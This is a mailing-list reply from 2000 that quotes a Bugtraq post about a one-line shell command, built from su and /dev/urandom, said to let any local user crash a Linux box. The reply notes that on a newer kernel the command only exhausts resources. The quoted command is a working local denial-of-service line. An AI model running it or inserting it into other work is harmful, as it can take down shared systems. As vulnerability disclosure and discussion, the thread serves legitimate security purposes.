On Fri, 24 Mar 2000, ADAM Sulmicki wrote:
> FYI.
>
> I'm just messenger.
> I saw it on bugtraq and would pass it.
> Don't shoot me
> :-)
>
> ---------- Forwarded message ----------
> Date: Fri, 24 Mar 2000 18:42:03 +0200
> From: Javor Ninov <javor@multigroup-bg.com>
> To: BUGTRAQ@SECURITYFOCUS.COM
> Subject: Local Linux Crash
>
> Tested on SlackWare 7.0 2.2.14
> After short time this will crash Linux box:
> su `cat /dev/urandom` > /dev/null |< su `cat /dev/urandom`&
>
> for a better efect start it several times :-))
> This can be done be any regular user !
On 2.3.99x at least, this only acts as a resource hog. After setting
limits, bash grew steadily until...
bash: xrealloc: cannot reallocate 4194304 bytes (0 bytes allocated)
...and then politely exited.
-Mike
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